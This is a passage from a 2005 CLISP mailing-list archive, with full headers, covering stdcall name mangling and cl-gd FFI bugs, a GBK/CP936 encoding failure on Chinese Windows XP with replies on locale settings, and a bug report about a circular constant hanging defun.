1 1 = 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1) :TRANSPARENT -1 :POLY-INTS NIL :POLY-ALLOCATED 0 :BRUSH NIL :TILE NIL :BRUSH-COLOR-MAP #(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) :TILE-COLOR-MAP #(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) :STYLE-LENGTH 0 :STYLE-POS 0 :STYLE NIL :INTERFACE 0 :THICK 1 :ALPHA #(0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) :TRUE-COLOR 0 :T-PIXELS NIL :ALPHA-BLENDING-FLAG 0 :SAVE-ALPHA-FLAG 0) o Carlos Ungil's cl-gd contains a few bugs - it should not include in the struct the private fields below AA -- my gd= .h of 2.0.33 contains fewer fields than the Lisp file, which may cause cras= hes. - create-image-from-file has the typical error about places as values, cau= sing it to always have err 0, i.e. not detect an error. I believe it's never been tested on MS-Windows (I forgot how I came to that= conclusion). It would also benefit from (c-pointer foo) return and slot types, which pro= bably were not in CLISP at the time Carlos did hiw work. So what's left? - still I don't know what stdcall does -- beside that name mangling. - that name mangling could be added to the CLISP FFI, if I find a specific= ation of it (it looks like "add @sizeof(append arguments)" but who knows?).= Regards, =09J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Mon Jun 27 09:34:15 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DmwYo-0002en-Rx for clisp-list@lists.sourceforge.net; Mon, 27 Jun 2005 09:34:14 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DmwYo-0000N6-63 for clisp-list@lists.sourceforge.net; Mon, 27 Jun 2005 09:34:14 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 27 Jun 2005 18:33:32 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 27 Jun 2005 18:33:20 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0304BC2586@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: efuzzyone@netscape.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: stdcall and Boutell gd.dll (was: Re: clisp - link) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 27 09:35:09 2005 X-Original-Date: Mon, 27 Jun 2005 18:33:19 +0200 Hi, Roger Corman said on the topic of name mangling (back in 2003), aka. = "decoration": >You could try to make it easier by doing his automatically, but you = don't >in general know what name mangling scheme was used (if any was used). = DLLs >may have been generated by different compilers. In Corman Lisp FFI I = ignore >it and let the user worry about it. If they call a mangled name, they = have >to explicitly specify that name. Nobody has complained, probably = because >most exported functions do not have mangled names (if they support a C >interface anyway). >The Microsoft C++ compiler automatically does the name mangling unless = you tell it otherwise. >This is to catch problems (incorrect declarations) at link time rather = than run time. >However, you can disable it when you build (link) a DLL by including a = .def file, >with the names explicitly listed.=20 >Microsoft does this for all their system DLLs. The names are not = mangled. Uhoh, it means there are libraries around with mangled names and others = without ... I bet this kills portable-among-implementations packages like cl-gd, = unless it uses some macros like (with-name-mangling-of-type foo do...) Roger also writes: >Sometimes if you use the wrong linkage you won't notice, because (a) = if >there are no parameters it makes no difference (b) even if there are >parameters, usually exiting a function cleans up the stack properly. = If >something is linked with __cdecl (C conventions) and you call it with >__stdcall, nobody cleans the stack. This might work, as long as you >don't do it in a big loop, and you don't embed the call in another = call=20 >i.e. foo(bar(x, y), z). I think it means that one should not see problems with it in CLISP -- = except when callbacks are involved, where the foreign land will be = responsible for cleaning the stack. For direct calls, stack clean up at = exit of clisp' invoke-foreign-function() function will prevent both the = loop accumulation or embeded scenarios, since clisp does not compile to = native code. So what's left: - stdcall is the correct declaration for bgd.dll, according to = Boutell'd docs. - for FFI purposes, that library would have been more useful as cdecl. - remove the "@" check code from def-call-out. @ is acceptable in the = C names, at least on MS-Windows. - let users handle name mangling or - still try to provide some generic rule, so that packages like cl-gd = can be written with some hope for portability?? - ??? Regards, J=F6rg H=F6hle. From cckk_lin@yahoo.ie Tue Jun 28 03:02:44 2005 Received: from [10.3.1.92] (helo=sc8-sf-mx2-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DnCvM-0002k4-53 for clisp-list@lists.sourceforge.net; Tue, 28 Jun 2005 03:02:36 -0700 Received: from smtp004.mail.ukl.yahoo.com ([217.12.11.35]) by sc8-sf-mx2-new.sourceforge.net with smtp (Exim 4.44) id 1DnCvL-0000fs-6R for clisp-list@lists.sourceforge.net; Tue, 28 Jun 2005 03:02:35 -0700 Received: (qmail 54665 invoked from network); 28 Jun 2005 10:02:29 -0000 Received: from unknown (HELO user03) (cckk?lin@59.57.170.97 with login) by smtp004.mail.ukl.yahoo.com with SMTP; 28 Jun 2005 10:02:27 -0000 Message-ID: <007201c57bc8$78483180$6700a8c0@user03> From: "Lin Jingxian" To: MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: base64 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1437 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 MIME_BASE64_TEXT RAW: Message text disguised using base64 encoding 0.8 MIME_BASE64_BLANKS RAW: Extra blank lines in base64 encoding Subject: [clisp-list] problem: running clisp in windows xp chinese simplified version Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 28 03:04:13 2005 X-Original-Date: Tue, 28 Jun 2005 18:02:12 +0800 aGksDQoNCiAgZXZlcnkgdGltZSBJIHJ1biBjbGlzcCwgSSBnb3QgdGhlIGZvbGxvd2luZyBvdXRw dXQsDQoNCj09PT09PT09PT09PT09PT09PT09IGN1dCBoZXJlID09PT09PT09PT09PT09PT09PT09 PT09PT09PT09DQpFOlxjbGlzcC0yLjMzLjJcc3JjPmU6XGNsaXNwLTIuMzMuMlxmdWxsXGxpc3Au ZXhlIC1NIGU6XGNsaXNwLTIuMzMuMlxmdWxsXGxpc3Bpbg0KaXQubWVtIC1CIGU6XGNsaXNwLTIu MzMuMlxmdWxsXA0KV0FSTklORzogbG9jYWxlOiBubyBlbmNvZGluZyBHQkssIHVzaW5nIFVURi04 DQpXQVJOSU5HOiAqVEVSTUlOQUwtRU5DT0RJTkcqOiBubyBlbmNvZGluZyBDUDkzNiwgdXNpbmcg VVRGLTgNCldBUk5JTkc6ICpGT1JFSUdOLUVOQ09ESU5HKjogcmVzZXQgdG8gQVNDSUkNCiAgaSBp IGkgaSBpIGkgaSAgICAgICBvb29vbyAgICBvICAgICAgICBvb29vb29vICAgb29vb28gICBvb29v bw0KICBJIEkgSSBJIEkgSSBJICAgICAgOCAgICAgOCAgIDggICAgICAgICAgIDggICAgIDggICAg IG8gIDggICAgOA0KICBJICBcIGArJyAvICBJICAgICAgOCAgICAgICAgIDggICAgICAgICAgIDgg ICAgIDggICAgICAgIDggICAgOA0KICAgXCAgYC0rLScgIC8gICAgICAgOCAgICAgICAgIDggICAg ICAgICAgIDggICAgICBvb29vbyAgIDhvb29vDQogICAgYC1fX3xfXy0nICAgICAgICA4ICAgICAg ICAgOCAgICAgICAgICAgOCAgICAgICAgICAgOCAgOA0KICAgICAgICB8ICAgICAgICAgICAgOCAg ICAgbyAgIDggICAgICAgICAgIDggICAgIG8gICAgIDggIDgNCiAgLS0tLS0tKy0tLS0tLSAgICAg ICBvb29vbyAgICA4b29vb29vICBvb284b29vICAgb29vb28gICA4DQoNCkNvcHlyaWdodCAoYykg QnJ1bm8gSGFpYmxlLCBNaWNoYWVsIFN0b2xsIDE5OTIsIDE5OTMNCkNvcHlyaWdodCAoYykgQnJ1 bm8gSGFpYmxlLCBNYXJjdXMgRGFuaWVscyAxOTk0LTE5OTcNCkNvcHlyaWdodCAoYykgQnJ1bm8g SGFpYmxlLCBQaWVycGFvbG8gQmVybmFyZGksIFNhbSBTdGVpbmdvbGQgMTk5OA0KQ29weXJpZ2h0 IChjKSBCcnVubyBIYWlibGUsIFNhbSBTdGVpbmdvbGQgMTk5OS0yMDAwDQpDb3B5cmlnaHQgKGMp IFNhbSBTdGVpbmdvbGQsIEJydW5vIEhhaWJsZSAyMDAxLTIwMDQNCg0KDQoqKiogLSBpbnZhbGlk IGJ5dGUgc2VxdWVuY2UgI3hENyAjeEMwIGluIENIQVJTRVQ6VVRGLTggY29udmVyc2lvbg0KQnJl YWsgMiBbOF0+DQoNCj09PT09PT09PT09PT09IGVuZCBjdXQgPT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT0NCg0KY2xpc3AgZ2l2ZSBvdXQgd2FybmluZyBhbmQgYnJlYWssIGhvdyBzaG91 bGQgSSBkbyB0byBtYWtlIGl0IHJ1biBub3JtYWxseT8NCg0KIHRoYW5rcy4NCg== ___________________________________________________________ Yahoo! Messenger - NEW crystal clear PC to PC calling worldwide with voicemail http://uk.messenger.yahoo.com From sds@gnu.org Tue Jun 28 06:20:18 2005 Received: from [10.3.1.91] (helo=sc8-sf-mx1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DnG0c-0002yR-33 for clisp-list@lists.sourceforge.net; Tue, 28 Jun 2005 06:20:14 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1DnG0a-0000q6-Ik for clisp-list@lists.sourceforge.net; Tue, 28 Jun 2005 06:20:14 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j5SDJwSS016275; Tue, 28 Jun 2005 09:19:59 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Lin Jingxian" Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <007201c57bc8$78483180$6700a8c0@user03> (Lin Jingxian's message of "Tue, 28 Jun 2005 18:02:12 +0800") References: <007201c57bc8$78483180$6700a8c0@user03> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Lin Jingxian" , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_GREATERTHAN BODY: Text interparsed with > 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: problem: running clisp in windows xp chinese simplified version Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 28 06:21:30 2005 X-Original-Date: Tue, 28 Jun 2005 09:19:23 -0400 > * Lin Jingxian [2005-06-28 18:02:12 +0800]: > > every time I run clisp, I got the following output, > > ==================== cut here ============================= > E:\clisp-2.33.2\src>e:\clisp-2.33.2\full\lisp.exe -M e:\clisp-2.33.2\full\lispin > it.mem -B e:\clisp-2.33.2\full\ > WARNING: locale: no encoding GBK, using UTF-8 > WARNING: *TERMINAL-ENCODING*: no encoding CP936, using UTF-8 > WARNING: *FOREIGN-ENCODING*: reset to ASCII >..... > *** - invalid byte sequence #xD7 #xC0 in CHARSET:UTF-8 conversion > Break 2 [8]> I think this is a mismatch between the encoding your windows console uses and the one CLISP is using. (apropos "" "CHARSET") should print all available encodings. I suggest that you tell windows to use utf-8 for all encodings or run clisp with the option "-E". please see also -- Sam Steingold (http://www.podval.org/~sds) running w2k I may be getting older, but I refuse to grow up! From pjb@informatimago.com Tue Jun 28 08:55:41 2005 Received: from [10.3.1.92] (helo=sc8-sf-mx2-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DnIR0-0002fD-7V for clisp-list@lists.sourceforge.net; Tue, 28 Jun 2005 08:55:38 -0700 Received: from larissa.informatimago.com ([62.93.174.78]) by sc8-sf-mx2-new.sourceforge.net with esmtp (Exim 4.44) id 1DnIQv-0008QD-9P for clisp-list@lists.sourceforge.net; Tue, 28 Jun 2005 08:55:38 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id B81B95833D; Tue, 28 Jun 2005 17:55:20 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id AA506582FA; Tue, 28 Jun 2005 17:55:16 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 8336C10FBF3; Tue, 28 Jun 2005 17:55:16 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17089.29412.497686.409002@thalassa.informatimago.com> To: "Lin Jingxian" Cc: Subject: Re: [clisp-list] problem: running clisp in windows xp chinese simplified version In-Reply-To: <007201c57bc8$78483180$6700a8c0@user03> References: <007201c57bc8$78483180$6700a8c0@user03> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-99.8 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY,UPPERCASE_25_50,USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 28 08:56:45 2005 X-Original-Date: Tue, 28 Jun 2005 17:55:16 +0200 Lin Jingxian writes: > every time I run clisp, I got the following output, > WARNING: locale: no encoding GBK, using UTF-8 > WARNING: *TERMINAL-ENCODING*: no encoding CP936, using UTF-8 > WARNING: *FOREIGN-ENCODING*: reset to ASCII > [...] > *** - invalid byte sequence #xD7 #xC0 in CHARSET:UTF-8 conversion > > clisp give out warning and break, how should I do to make it run normally? Choose a locale for which there's an encoding in clisp. On a posix system this is done setting the various LC_* environment variables. For example, you could set: LC_ALL=en_IE.utf8 export LC_ALL to let your applications work with unicode encoded in UTF-8. Or perhaps, compile clisp enabling the encodings you need. Here in my clisp-2.33.83, there is a CP936: [15]> (lspack :charset :exports) CHARSET Symbols: 117 exported, 117 total. Exported: ARMSCII-8 ASCII BIG5 BIG5-HKSCS CP1133 CP1250 CP1251 CP1252 CP1253 CP1254 CP1255 CP1256 CP1257 CP1258 CP437 CP437-IBM CP737 CP775 CP850 CP852 CP852-IBM CP855 CP857 CP860 CP860-IBM CP861 CP861-IBM CP862 CP862-IBM CP863 CP863-IBM CP864 CP864-IBM CP865 CP865-IBM CP866 CP869 CP869-IBM CP874 CP874-IBM CP932 CP936 CP949 CP950 EUC-CN EUC-JP EUC-KR EUC-TW GB18030 GBK GEORGIAN-ACADEMY GEORGIAN-PS HP-ROMAN8 ISO-2022-CN ISO-2022-CN-EXT ISO-2022-JP ISO-2022-JP-2 ISO-2022-KR ISO-8859-1 ISO-8859-10 ISO-8859-13 ISO-8859-14 ISO-8859-15 ISO-8859-16 ISO-8859-2 ISO-8859-3 ISO-8859-4 ISO-8859-5 ISO-8859-6 ISO-8859-7 ISO-8859-8 ISO-8859-9 JAVA JIS_X0201 JOHAB KOI8-R KOI8-U MAC-ARABIC MAC-CENTRAL-EUROPE MAC-CROATIAN MAC-CYRILLIC MAC-DINGBAT MAC-GREEK MAC-HEBREW MAC-ICELAND MAC-ROMAN MAC-ROMANIA MAC-SYMBOL MAC-THAI MAC-TURKISH MAC-UKRAINE MACINTOSH NEXTSTEP SHIFT-JIS TCVN TIS-620 UCS-2 UCS-4 UNICODE-16 UNICODE-16-BIG-ENDIAN UNICODE-16-LITTLE-ENDIAN UNICODE-32 UNICODE-32-BIG-ENDIAN UNICODE-32-LITTLE-ENDIAN UTF-16 UTF-7 UTF-8 VISCII WINDOWS-1250 WINDOWS-1251 WINDOWS-1252 WINDOWS-1253 WINDOWS-1254 WINDOWS-1255 WINDOWS-1256 WINDOWS-1257 WINDOWS-1258 You can also tell clisp which encoding to use, (but then be sure not to send it badly encoded byte sequence as you're doing right now, sending a sequence of two bytes: #xD7 #xC0, which is invalid UTF-8), using the -E option: LC_ALL=en_IE.utf8 clisp ... -E UTF-8 LC_ALL=C clisp ... -E ASCII etc... -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From Devon@Jovi.Net Tue Jun 28 12:59:02 2005 Received: from [10.3.1.91] (helo=sc8-sf-mx1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DnMEX-0006UG-Ry for clisp-list@lists.sourceforge.net; Tue, 28 Jun 2005 12:59:01 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1DnMEX-0002VB-TV for clisp-list@lists.sourceforge.net; Tue, 28 Jun 2005 12:59:02 -0700 Received: from grant.org ([206.190.173.18]) by externalmx-1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DnMEV-00038B-Ex for clisp-list@lists.sourceforge.net; Tue, 28 Jun 2005 12:59:00 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id j5SJwTEa026558 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 28 Jun 2005 15:58:30 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id j5SJwTUR026555; Tue, 28 Jun 2005 15:58:29 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200506281958.j5SJwTUR026555@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.4 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Tue, 28 Jun 2005 15:58:37 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] circular constant hangs defun Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 28 13:00:16 2005 X-Original-Date: Tue, 28 Jun 2005 15:58:29 -0400 (EDT) $ clisp i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2002 [1]> (progn (defun clisp-bug () '(one two three . #1=(many . #1#))) (setq a (clisp-bug)) (subseq a 0 7)) C-c C-z [1]+ Stopped clisp $ top ... PID USERNAME PRI NICE SIZE RES STATE C TIME WCPU CPU COMMAND 80908 devon 57 0 5132K 3188K STOP 1 15:52 73.00% 73.00% lisp.ru ... $ % clisp *** - Ctrl-C: User break 1. Break [2]> a *** - EVAL: variable A has no value 2. Break [3]> (setq a '(one two three . #1=(many . #1#)) b nil) NIL 2. Break [3]> (subseq a 0 7) (ONE TWO THREE MANY MANY MANY MANY) 2. Break [3]> (quit) Bye. $ lisp CMU Common Lisp 18c, running on grant.org Send questions and bug reports to your local CMU CL maintainer, or to cmucl-help@cons.org. and cmucl-imp@cons.org. respectively. Loaded subsystems: Python 1.0, target Intel x86 CLOS based on PCL version: September 16 92 PCL (f) * (progn (defun clisp-bug () '(one two three . #1=(many . #1#))) (setq a (clisp-bug)) (subseq a 0 7)) Warning: Declaring A special. (ONE TWO THREE MANY MANY MANY MANY) * (quit) From sds@gnu.org Tue Jun 28 13:30:09 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DnMif-0007v3-Ln for clisp-list@lists.sourceforge.net; Tue, 28 Jun 2005 13:30:09 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DnMia-0006z9-Ue for clisp-list@lists.sourceforge.net; Tue, 28 Jun 2005 13:30:09 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j5SKTqZx004306; Tue, 28 Jun 2005 16:29:53 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200506281958.j5SJwTUR026555@grant.org> (Devon Sean McCullough's message of "Tue, 28 Jun 2005 15:58:29 -0400 (EDT)") References: <200506281958.j5SJwTUR026555@grant.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: circular constant hangs defun Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 28 13:31:07 2005 X-Original-Date: Tue, 28 Jun 2005 16:29:17 -0400 > * Devon Sean McCullough [2005-06-28 15:58:29 -0400]: > > [1]> (progn > (defun clisp-bug () '(one two three . 